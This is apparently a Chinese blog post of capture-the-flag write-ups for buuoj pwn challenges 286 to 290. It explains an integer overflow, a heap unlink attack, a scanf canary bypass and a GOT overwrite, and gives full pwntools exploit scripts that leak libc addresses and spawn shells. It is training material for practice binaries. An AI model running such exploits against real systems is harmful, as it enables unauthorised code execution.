buuoj Pwn writeup 286-290

286 metasequoia_2020_blacksmith

在这里插入图片描述
在这里插入图片描述
花里胡哨其实就是个菜单堆,RELRO也没开,pie也没开。

forge
在这里插入图片描述这不就直接是个整数溢出嘛……

剩下的都没用……/捂脸

所以就是一个溢出而已。
在这里插入图片描述还发现了后门函数。

exp

from pwn import*

r = remote("node4.buuoj.cn", 27197)


r.sendlineafter("Your choice > ", "1")
r.sendlineafter("name?\n", "-1")

payload = 'a' * 0x48 + p64(0x4007d6)
r.sendlineafter("name is?\n", payload)

r.interactive()

287 secretHolder_hitcon_2016

在这里插入图片描述
又是菜单题,主程序简单,且有循环。

在这里插入图片描述

程序很简单,三个秘密,然后地址跟flag都在bss段上,分别占了八个跟四个字节。

同时calloc函数跟malloc函数一样,申请空间,区别是calloc函数会把申请到得空间都清零。

在这里插入图片描述

会发现还是老问题了,free后没有清空指针。

先得说一说关于large bin的事情,简单点说,大小从1024开始的堆块就进入了large bin,所以在这道题中,big secret,huge secret 都可以直接进入large bin,在申请堆块的时候当把其它bin找完之后会在large bin里面找,如果申请的size小于它有的size,就会把一个差不多大小的large chunk切开,一块分给申请,一块放在unsorted中。

详细介绍的话这里有篇大佬的博客。

堆漏洞挖掘:04—bins分类(fastbin、unsorted bin、small bin、large bin)

这道题我们用到的最重要的一种思路是当我们的申请chunk大于mmap的分配阈值(32位是128k,64位是256k)的时候,会直接在memory mapings region的地方去申请,释放。当我们释放之后再次申请,就会申请到堆里面来。顺便说一下32位的mmap区域从高地址向低地址方向生长的。

那么我们这道题的思路就是先申请small,big,然后释放掉,再申请huge,释放掉,再申请回来,就会申请到堆里面。而small,big的指针还在,那么就会形成下图的状态。在这里插入图片描述
那么我们因为可以编写huge,我们就可以在huge里面伪造一些chunk,在big下面伪造使用中的堆块,在big上面伪造一个free的chunk,然后通过free堆块big,从而制造unlink,然后对bss段进行控制,从而达到泄露地址等一系列目的。

我们来一步一步调一下试一试。

先是申请huge
在这里插入图片描述
然后释放掉,再申请small,big,释放掉,再把huge申请回来。

在这里插入图片描述

在这里插入图片描述
heap是我们那个huge,然后存放small,big地址的地方的数据就是指向堆的相应的地方。

然后伪造chunk

在这里插入图片描述
然后把big堆块free掉。

然后就可以控制bss那一段了,剩下的就是unlink去解决。

exp

#coding:utf8
from pwn import *

context.log_level = "debug"

r = process('./secret')
elf = ELF('./secret')
huge_secret = 0x6020A8
bss_addr = 0x602090
free_got = elf.got['free']
puts_plt = elf.plt['puts']
read_got = elf.got['read']

libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.23-0ubuntu11.2_amd64/libc-2.23.so")

def new(h_type,content):
   r.sendlineafter('3. Renew secret','1')
   r.sendlineafter('3. Huge secret',str(h_type))
   r.sendlineafter('Tell me your secret:',content)
 
def delete(h_type):
   r.sendlineafter('3. Renew secret','2')
   r.sendlineafter('3. Huge secret',str(h_type))
 
def edit(h_type,content):
   r.sendlineafter('3. Renew secret','3')
   r.sendlineafter('3. Huge secret',str(h_type))
   r.sendafter('Tell me your secret:',content)
 
new(3,'a'*0x100)
new(1,'b'*0x10)
new(2,'c'*0x100)
delete(1)
delete(2)
delete(3)
 
fake_chunk = p64(0) + p64(0x21)
fake_chunk += p64(huge_secret-0x18) + p64(huge_secret-0x10)
payload = fake_chunk.ljust(0x20,'\x00')
payload += p64(0x20) + p64(0x90) + 'c'*0x80 #chunk2
payload += p64(0x90) + p64(0x81) + 'd'*0x70 #chunk3

payload += p64(0) + p64(0x81)

#最后的这个0x81是在检查chunk3是否free状态的时候需要检查下一个chunk的p位是否为1.所以其实0x11,0x1啥的都行。

new(3,payload)
delete(2)
payload = p64(0) * 2 + p64(free_got) + p64(bss_addr) + p64(read_got) + p32(1)*3
edit(3,payload)
edit(2,p64(puts_plt))
delete(1)
r.recvuntil('\n')
read_addr = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00'))
libc_base = read_addr - libc.sym['read']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
print 'libc_base=',hex(read_addr)
print 'system_addr=',hex(system_addr)

edit(2,p64(system_addr))
edit(3,p64(0) * 2 + p64(binsh_addr))
delete(2)
 
r.interactive()

288 pwnable_dubblesort

在这里插入图片描述
在这里插入图片描述显然输入的时候有个小溢出。

在这里插入图片描述
下面还会对我们的输入进行操作

利用思路为栈溢出,先是栈溢出泄露出栈上libc的相关数据从而获取libc地址,再是栈溢出覆盖ebp下一处劫持控制流。第二步时需要注意存在着一个canery需要绕过,可以使用scanf的%d输入为+时为没有输入的方式跳过(返回值会出错但本题没检查),就一个数字的长度,在第25个。

exp

from pwn import *
context.log_level = 'debug'

p = remote('node4.buuoj.cn',29170)
libc = ELF("./32/libc-2.23.so")

p.sendlineafter('What your name :','A'*24)
p.recvuntil('A'*0x18)

libc_base = u32(p.recv(4))-0x1b000a
print 'libc_base : '+hex(libc_base)

system =libc_base + libc.symbols['system']
bin_sh = libc_base +libc.search('/bin/sh').next()

p.sendlineafter('to sort :',"35")

for i in range(24):
    p.sendlineafter('number : ','1')
p.sendline('+')

for i in range(9):
    p.sendlineafter('number : ',str(system))
    
p.sendline(str(bin_sh))

p.interactive()

289 pwnable_applestore

在这里插入图片描述

在这里插入图片描述首先是给了个菜单。

list没啥用
在这里插入图片描述

add
在这里插入图片描述
在这里插入图片描述
create
在这里插入图片描述里面涉及到了一个sprintf
asprintf()可以说是一个增强版的sprintf(),在不确定字符串的长度时,能够根据格式化的字符串长度,申请足够的内存空间

insert
在这里插入图片描述
insert就是会插起来,形成一个链表。

delete
在这里插入图片描述也就是从链表拿走。

cart
在这里插入图片描述
这个check会造成输出.

checkout
在这里插入图片描述
不过在商品总价格为7174时会加入iphone 8, 存放iphone 8 的信息没有存放在堆中, 而是存放在栈中, 也就是v2 的地址。

cart函数会输出所有商品的信息, 通过控制商品的总价格为7174, 可以将指向iphone 8 结构的栈地址插入链表中
之后在输入buf的数据时控制iphone 8 的str addr 为atoi函数got表地址即可泄露出atoi 的libc地址

2.泄露出libc地址后考虑如何调用system数
观察本题开启的保护, 比较直接的想法是覆写got表

可以通过libc中的environ来泄露栈地址, 泄露了栈地址后通过调试算出偏移可以得到delete函数的ebp地址,delete函数中的ebp指向的是handler函数中的ebp
ebp -> handler_ebp

可以通过改写handler_ebp 为got_atoi + 0x22来完成对got表的覆写

exp

from pwn import *
import struct

context(arch='i386', os='linux', log_level='debug')

p = remote("node4.buuoj.cn", 26179)

def add(num):
	p.sendlineafter("> ", str(2))
	p.sendlineafter("Device Number> ", str(num))

def delete(ans):
	p.sendlineafter("> ", str(3))
	p.sendlineafter("Item Number> ", ans)

def cart(ans):
	p.sendlineafter("> ", str(4))
	p.sendlineafter("Let me check your cart. ok? (y/n) > ", ans)

def checkout(ans):
	p.sendlineafter("> ", str(5))
	p.sendlineafter("Let me check your cart. ok? (y/n) > ", ans)

for i in range(6):
	add(1)

for i in range(20):
	add(2)

checkout('y')

elf = ELF("./289")
libc = ELF("./32/libc-2.23.so")

got_atoi = elf.got['atoi']
print "got_atoi -> " + hex(got_atoi)

payload = 'ya' + p32(got_atoi) + 'a'*(0xa - 2 - 4) + p32(0)
cart(payload)

p.recvuntil("27: ")
libc_addr = u32(p.recv(4))
libc_base = libc_addr - libc.symbols['atoi']
system = libc_base + libc.symbols['system']
environ_libc = libc_base + libc.symbols['environ']
print "environ_libc -> " + hex(environ_libc)
print "libc_addr -> " + hex(libc_addr)
print "libc_base -> " + hex(libc_base)
print "system -> " + hex(system)

payload = 'ya' + p32(environ_libc) + 'a'*(0xa - 2 - 4) + p32(0)
cart(payload)

p.recvuntil("27: ")
stack = u32(p.recv(4))
print "stack -> " + hex(stack)

raw_input()
payload = '27' + p32(stack) + p32(0x12345678)
payload += p32(got_atoi + 0x22) + p32(stack - 0x100 - 0xc)
#payload += p32(got_atoi + 0x22) + p32(stack - (0xff80fa1c - 0xff80f918) - 8)
delete(payload)

p.sendlineafter("> ", p32(system) + "||/bin/sh")

p.interactive()

290 xp0intctf_2018_tutorial1

在这里插入图片描述
在这里插入图片描述没啥说的……

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值